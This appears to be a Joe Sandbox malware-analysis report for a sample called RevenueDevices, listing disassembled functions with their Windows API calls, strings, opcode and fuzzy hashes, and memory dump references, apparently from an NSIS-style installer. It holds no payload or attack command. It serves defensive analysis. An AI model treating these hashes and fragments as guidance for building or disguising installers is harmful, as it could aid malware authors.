Associated: 00000056.00000002.3106396734.000000000041F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.0000000000461000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106522068.00000000004F4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_86_2_400000_RevenueDevices.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s$@rD
API String ID: 3540041739-1813061909
Opcode ID: 49e77ae85f825c85ec9bd325533554715bd64ccbe848738256e3a305efe714d4
Instruction ID: f1896056faf18a44ee7e341cc3389f256aee6b01e91544d35c55ed1e8b934206
Opcode Fuzzy Hash: 49e77ae85f825c85ec9bd325533554715bd64ccbe848738256e3a305efe714d4
Instruction Fuzzy Hash: EF11BD327002087BDB10AA6A9D45E9E765EEBC5334F10423BFA15F30E1F6788A218679

Function 00406038 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 0040609B
CharNextW.USER32(?,?,?,00000000), ref: 004060AA
CharNextW.USER32(?,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060AF
CharPrevW.USER32(?,?,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060C3

Strings

*?|<>/":, xrefs: 0040608A

Memory Dump Source

Source File: 00000056.00000002.3106329591.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000056.00000002.3106301320.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106367887.0000000000408000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000040B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000041F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.0000000000461000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106522068.00000000004F4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_86_2_400000_RevenueDevices.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":
API String ID: 589700163-165019052
Opcode ID: a05e433a329b084189efa29dbf9bba5ae0ab8f0c6b5464517f8198c591f21e0d
Instruction ID: 6b5d27536512bbf775d32d1a11483b1b035cd55ac1fbc93341df7bc26af2800c
Opcode Fuzzy Hash: a05e433a329b084189efa29dbf9bba5ae0ab8f0c6b5464517f8198c591f21e0d
Instruction Fuzzy Hash: C611EB2184061559CB30FB659C4097BA6F9AE56750712843FE886F32C1FB7CCCE192BD

Function 0040149D Relevance: 7.6, APIs: 5, Instructions: 67registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 004014BF
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 004014FB
RegCloseKey.ADVAPI32(?), ref: 00401504
RegCloseKey.ADVAPI32(?), ref: 00401529
RegDeleteKeyW.ADVAPI32(?,?), ref: 00401547

Memory Dump Source

Source File: 00000056.00000002.3106329591.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000056.00000002.3106301320.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106367887.0000000000408000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000040B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000041F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.0000000000461000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106522068.00000000004F4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_86_2_400000_RevenueDevices.jbxd

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: 2b80b69c85b54ac5f33439f299733a34c1a7b021a45597119d957f721ab6f898
Instruction ID: 29266b44d1cae769f6d8fca298176d7cc4518162af5fbc8546bcefd12e7d5eb7
Opcode Fuzzy Hash: 2b80b69c85b54ac5f33439f299733a34c1a7b021a45597119d957f721ab6f898
Instruction Fuzzy Hash: EF114972500008FFDF119F90EE85DAA3B7AFB54348F00407AFA06F6170D7759E54AA29

Function 0040209F Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?), ref: 004020A3
GetClientRect.USER32(00000000,?), ref: 004020B0
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 004020D1
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 004020DF
DeleteObject.GDI32(00000000), ref: 004020EE

Memory Dump Source

Source File: 00000056.00000002.3106329591.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000056.00000002.3106301320.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106367887.0000000000408000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000040B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000041F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.0000000000461000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106522068.00000000004F4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_86_2_400000_RevenueDevices.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 1f7c9829ad23568ddcd68d747fd9c97de9c434eb898eff28d5e97dd8542ad38d
Instruction ID: a6d8e4af78efbdafb2d3f18e6b80530ac635d705efb76da9f8ac6e555915fa7b
Opcode Fuzzy Hash: 1f7c9829ad23568ddcd68d747fd9c97de9c434eb898eff28d5e97dd8542ad38d
Instruction Fuzzy Hash: 95F012B2600508AFDB00EBA4EF89DAF7BBCEB04305B104579F642F6161C6759E418B28

Function 00401F80 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401FE6
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401FFE

Strings

!, xrefs: 00401FB6

Memory Dump Source

Source File: 00000056.00000002.3106329591.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000056.00000002.3106301320.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106367887.0000000000408000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000040B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000041F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.0000000000461000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106522068.00000000004F4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_86_2_400000_RevenueDevices.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 268bfc816d722a3cdb4a25197971aab361e313674f42ba9e2dfc46ce407b5277
Instruction ID: e43e738488dd09895ebc4b193b1bc1394e214230f2e5861cb954e074e697f1bf
Opcode Fuzzy Hash: 268bfc816d722a3cdb4a25197971aab361e313674f42ba9e2dfc46ce407b5277
Instruction Fuzzy Hash: 93217171900209ABDF15AFB4D986ABE7BB9EF04349F14413EF602F60E2D6798A40D758

Function 004027E3 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 60registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00401553: RegOpenKeyExW.ADVAPI32(?,00000000,00000022,00000000,?,?), ref: 0040158B

RegCloseKey.ADVAPI32(00000000), ref: 0040282E
RegDeleteValueW.ADVAPI32(00000000,00000000,00000033), ref: 0040280E

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Strings

DeleteRegKey: "%s\%s", xrefs: 00402843
DeleteRegValue: "%s\%s" "%s", xrefs: 00402820

Memory Dump Source

Source File: 00000056.00000002.3106329591.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000056.00000002.3106301320.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106367887.0000000000408000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000040B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000041F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.0000000000461000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106522068.00000000004F4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_86_2_400000_RevenueDevices.jbxd

Similarity

API ID: CloseDeleteOpenValuelstrlenwvsprintf
String ID: DeleteRegKey: "%s\%s"$DeleteRegValue: "%s\%s" "%s"
API String ID: 1697273262-1764544995
Opcode ID: 17145ca8eb8223996ba0bf6dcd82413fea569a735e29ac8632e0b2d115fecab3
Instruction ID: a9eecf508c221bc7802a822649300ece756bcc80235207ffe39efc99e8d71eac
Opcode Fuzzy Hash: 17145ca8eb8223996ba0bf6dcd82413fea569a735e29ac8632e0b2d115fecab3
Instruction Fuzzy Hash: FA11A772E00101ABDB10FFA5DD4AABE7AA4EF40354F14443FF50AB61D2D6BD8A50879D

Function 004048CC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 58windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00404902
CallWindowProcW.USER32(?,00000200,?,?), ref: 00404970

Part of subcall function 00403DAF: SendMessageW.USER32(?,?,00000000,00000000), ref: 00403DC1

Strings

@rD, xrefs: 00404934
, xrefs: 004048DA

Memory Dump Source

Source File: 00000056.00000002.3106329591.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000056.00000002.3106301320.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106367887.0000000000408000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000040B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000041F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.0000000000461000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106522068.00000000004F4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_86_2_400000_RevenueDevices.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID: $@rD
API String ID: 3748168415-881980237
Opcode ID: dbb9f75acddd66739c757162f424edfdbc4896bcfe3732b5d05f7797001715e0
Instruction ID: bed307b1c5f775dd60c200178c13c7fdb07d6bd57f5d25ab133f42f3a31df96a
Opcode Fuzzy Hash: dbb9f75acddd66739c757162f424edfdbc4896bcfe3732b5d05f7797001715e0
Instruction Fuzzy Hash: 7A114FB1500218ABEF21AF61ED41E9B3769AB84359F00803BF714751A2C77C8D519BAD

Function 00402665 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 56stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Part of subcall function 004062D5: FindFirstFileW.KERNELBASE(004572C0,0045BEC8,004572C0,004067CE,004572C0), ref: 004062E0
Part of subcall function 004062D5: FindClose.KERNEL32(00000000), ref: 004062EC

lstrlenW.KERNEL32 ref: 004026B4
lstrlenW.KERNEL32(00000000), ref: 004026C1
SHFileOperationW.SHELL32(?,?,?,00000000), ref: 004026EC

Strings

CopyFiles "%s"->"%s", xrefs: 0040267F

Memory Dump Source

Source File: 00000056.00000002.3106329591.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000056.00000002.3106301320.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106367887.0000000000408000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000040B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000041F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.0000000000461000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106522068.00000000004F4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_86_2_400000_RevenueDevices.jbxd

Similarity

API ID: lstrlen$FileFind$CloseFirstOperationwvsprintf
String ID: CopyFiles "%s"->"%s"
API String ID: 2577523808-3778932970
Opcode ID: d138b8f9e5546ee40c5c7b94d2e402c7a6ef9e03f94093a7ede85926a053d7b8
Instruction ID: a779005ae7d6007116ac0765ed120a10e3eb966af121a96df1e98a57451096ba
Opcode Fuzzy Hash: d138b8f9e5546ee40c5c7b94d2e402c7a6ef9e03f94093a7ede85926a053d7b8
Instruction Fuzzy Hash: A0112171D00214A6CB10FFBA994699FBBBCEF44354F10843FB506F72D2E6B985118B59

Function 00406224 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 53stringCOMMON

Download Yara Rule

APIs

wsprintfW.USER32 ref: 00406278
lstrcatW.KERNEL32(00000000,...), ref: 0040629B

Strings

%02x%c, xrefs: 00406270
..., xrefs: 00406293

Memory Dump Source

Source File: 00000056.00000002.3106329591.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000056.00000002.3106301320.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106367887.0000000000408000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000040B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000041F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.0000000000461000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106522068.00000000004F4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_86_2_400000_RevenueDevices.jbxd

Similarity

API ID: lstrcatwsprintf
String ID: %02x%c$...
API String ID: 3065427908-1057055748
Opcode ID: ab6e3f364f28889fa0e557be1434f2389f45bfc0df6a8c97b916548b2a1c6c1a
Instruction ID: b8620b589ecf2e5093343df65250d9ec4fb1615d5218d90249241d8ea01b8719
Opcode Fuzzy Hash: ab6e3f364f28889fa0e557be1434f2389f45bfc0df6a8c97b916548b2a1c6c1a
Instruction Fuzzy Hash: A2014932500214EFCB10EF58CC84A9EBBE9EB84304F20407AF405F3180D6759EA48794

Function 00405047 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 41comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 00405057

Part of subcall function 00403DAF: SendMessageW.USER32(?,?,00000000,00000000), ref: 00403DC1

OleUninitialize.OLE32(00000404,00000000), ref: 004050A5

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Strings

Section: "%s", xrefs: 00405079
Skipping section: "%s", xrefs: 004050B5

Memory Dump Source

Source File: 00000056.00000002.3106329591.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000056.00000002.3106301320.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106367887.0000000000408000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000040B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000041F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.0000000000461000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106522068.00000000004F4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_86_2_400000_RevenueDevices.jbxd

Similarity

API ID: InitializeMessageSendUninitializelstrlenwvsprintf
String ID: Section: "%s"$Skipping section: "%s"
API String ID: 2266616436-4211696005
Opcode ID: e437b8ceb6229a6f9ab503619c9af8890d1bc97808a7dc02d8be9cd793390a3b
Instruction ID: 490ae00110c0e09774d0d246d4d4a011172e9101669e5a2b786a62fce758e9f8
Opcode Fuzzy Hash: e437b8ceb6229a6f9ab503619c9af8890d1bc97808a7dc02d8be9cd793390a3b
Instruction Fuzzy Hash: 41F0F4338087009BE6506B64AE07B9B77A4DFD4320F24007FFE48721E1ABFC48818A9D

Function 004020F9 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00402100
GetDeviceCaps.GDI32(00000000), ref: 00402107
MulDiv.KERNEL32(00000000,00000000), ref: 00402117

Part of subcall function 00406805: GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6

CreateFontIndirectW.GDI32(0041F0F0), ref: 0040216A

Part of subcall function 00405F51: wsprintfW.USER32 ref: 00405F5E

Memory Dump Source

Source File: 00000056.00000002.3106329591.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000056.00000002.3106301320.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106367887.0000000000408000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000040B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000041F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.0000000000461000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106522068.00000000004F4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_86_2_400000_RevenueDevices.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectVersionwsprintf
String ID:
API String ID: 1599320355-0
Opcode ID: 6f0d7b084d37585979e4dd0fd2aac30abed8a2b5fd168dddd791f163065a0eb0
Instruction ID: 656afd6720eca978824560f17fb47cc17b19fb3a621816cfe3730d6e1c8eda21
Opcode Fuzzy Hash: 6f0d7b084d37585979e4dd0fd2aac30abed8a2b5fd168dddd791f163065a0eb0
Instruction Fuzzy Hash: DA017172644650EFE701ABB4ED4ABDA3BA4A725315F10C43AE645A61E3C678440A8B2D

Function 004071F8 Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00406ED2: CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 00406EF6

lstrcpynW.KERNEL32(?,?,00000009), ref: 00407239
lstrcmpW.KERNEL32(?,Version ), ref: 0040724A
lstrcpynW.KERNEL32(?,?,?), ref: 00407261

Strings

Version , xrefs: 00407241

Memory Dump Source

Source File: 00000056.00000002.3106329591.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000056.00000002.3106301320.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106367887.0000000000408000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000040B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000041F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.0000000000461000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106522068.00000000004F4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_86_2_400000_RevenueDevices.jbxd

Similarity

API ID: lstrcpyn$CreateFilelstrcmp
String ID: Version
API String ID: 512980652-315105994
Opcode ID: 4a1870cd75b7b8bbcc0c4c6a066d827f0aa8b2b5b5f43a101b4d9a41e631e9ca
Instruction ID: 151640cc4cfa07bb85738859349229c9473c158da19ee21f10eacb3052f8d035
Opcode Fuzzy Hash: 4a1870cd75b7b8bbcc0c4c6a066d827f0aa8b2b5b5f43a101b4d9a41e631e9ca
Instruction Fuzzy Hash: 3EF03172A0021CABDB109AA5DD46EEA777CAB44700F100476F600F6191E6B59E158BA5

Function 004032D2 Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000,00403703,00000001,?,?,?,00000000,00403A47,?), ref: 004032E5
GetTickCount.KERNEL32 ref: 00403303
CreateDialogParamW.USER32(0000006F,00000000,0040324C,00000000), ref: 00403320
ShowWindow.USER32(00000000,00000005,?,?,?,00000000,00403A47,?), ref: 0040332E

Memory Dump Source

Source File: 00000056.00000002.3106329591.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000056.00000002.3106301320.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106367887.0000000000408000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000040B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000041F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.0000000000461000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106522068.00000000004F4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_86_2_400000_RevenueDevices.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: 47d4170aef7bfd746f2c3ad407b5e1a24093745f4c41283d4ce41cd21e437078
Instruction ID: 401e6cecbc7a0b9e3d471fb50fe358663bd3ad25f9a7ebc527197863dd5a4904
Opcode Fuzzy Hash: 47d4170aef7bfd746f2c3ad407b5e1a24093745f4c41283d4ce41cd21e437078
Instruction Fuzzy Hash: 23F08230502620EBC221AF64FE5CBAB7F68FB04B82701447EF545F12A4CB7849928BDC

Function 00406365 Relevance: 6.0, APIs: 4, Instructions: 31memorylibraryloaderCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,00002004,00000000,?,?,00402449,?,?,?,00000008,00000001,000000F0), ref: 00406370
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00002004,00000000,00000000,?,?,00402449,?,?,?,00000008,00000001), ref: 00406386
GetProcAddress.KERNEL32(?,00000000), ref: 00406395
GlobalFree.KERNEL32(00000000), ref: 0040639E

Memory Dump Source

Source File: 00000056.00000002.3106329591.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000056.00000002.3106301320.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106367887.0000000000408000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000040B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000041F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.0000000000461000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106522068.00000000004F4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_86_2_400000_RevenueDevices.jbxd

Similarity

API ID: Global$AddressAllocByteCharFreeMultiProcWide
String ID:
API String ID: 2883127279-0
Opcode ID: 9b9152501c533f071dd2545c5f3fa28dbd06be6ef0eddba5fde26ce4b08cefa4
Instruction ID: 581917a1a4a7218ca9fbbc4554f9bfb31441e22884f00dccc1ee77d568dea7f2
Opcode Fuzzy Hash: 9b9152501c533f071dd2545c5f3fa28dbd06be6ef0eddba5fde26ce4b08cefa4
Instruction Fuzzy Hash: 19E048712012107BE2101B669E8CD677EADDFCA7B6B05013EF695F51A0CE348C15D675

Function 00402797 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25stringCOMMON

Download Yara Rule

APIs

GetPrivateProfileStringW.KERNEL32(00000000,00000000,?,?,00002003,00000000), ref: 004027CD
lstrcmpW.KERNEL32(?,?,?,00002003,00000000,000000DD,00000012,00000001), ref: 004027D8

Strings

!N~, xrefs: 00402797

Memory Dump Source

Source File: 00000056.00000002.3106329591.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000056.00000002.3106301320.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106367887.0000000000408000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000040B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000041F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.0000000000461000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106522068.00000000004F4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_86_2_400000_RevenueDevices.jbxd

Similarity

API ID: PrivateProfileStringlstrcmp
String ID: !N~
API String ID: 623250636-529124213
Opcode ID: 866873a94fae700ec207294a0f2462ae5c2747d97e8320b74985250fbb79316b
Instruction ID: 7cd271610f6b1cb64eb4c57d825f56a096f62725fe87e34e9129affe44791136
Opcode Fuzzy Hash: 866873a94fae700ec207294a0f2462ae5c2747d97e8320b74985250fbb79316b
Instruction Fuzzy Hash: 37E0E571500208ABDB00BBA0DE85DAE7BBCAF05304F14443AF641F71E3EA7459028718

Function 00405C3F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00457278,Error launching installer), ref: 00405C64
CloseHandle.KERNEL32(?), ref: 00405C71

Strings

Error launching installer, xrefs: 00405C48

Memory Dump Source

Source File: 00000056.00000002.3106329591.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000056.00000002.3106301320.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106367887.0000000000408000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000040B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000041F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.0000000000461000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106522068.00000000004F4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_86_2_400000_RevenueDevices.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: 47f41dc08d07e361b35e7f66cf96497c8c5e39d775029f064e59fed031f864e7
Instruction ID: c3c9ba135fb9cbcc5263534f4c07e322ce29f53e9eda4e03cc008bde6a4ec24c
Opcode Fuzzy Hash: 47f41dc08d07e361b35e7f66cf96497c8c5e39d775029f064e59fed031f864e7
Instruction Fuzzy Hash: 44E0EC70504209ABEF009B64EE49E7F7BBCEB00305F504575BD51E2561D774D9188A68

Function 004062A3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Part of subcall function 004060E7: CloseHandle.KERNEL32(FFFFFFFF,00000000,?,?,004062D4,00000000), ref: 004060FE

Strings

RMDir: RemoveDirectory invalid input(""), xrefs: 004062A5, 004062AA

Memory Dump Source

Source File: 00000056.00000002.3106329591.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000056.00000002.3106301320.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106367887.0000000000408000.00000002.00000001.01000000.00000009.sdmpDownload File
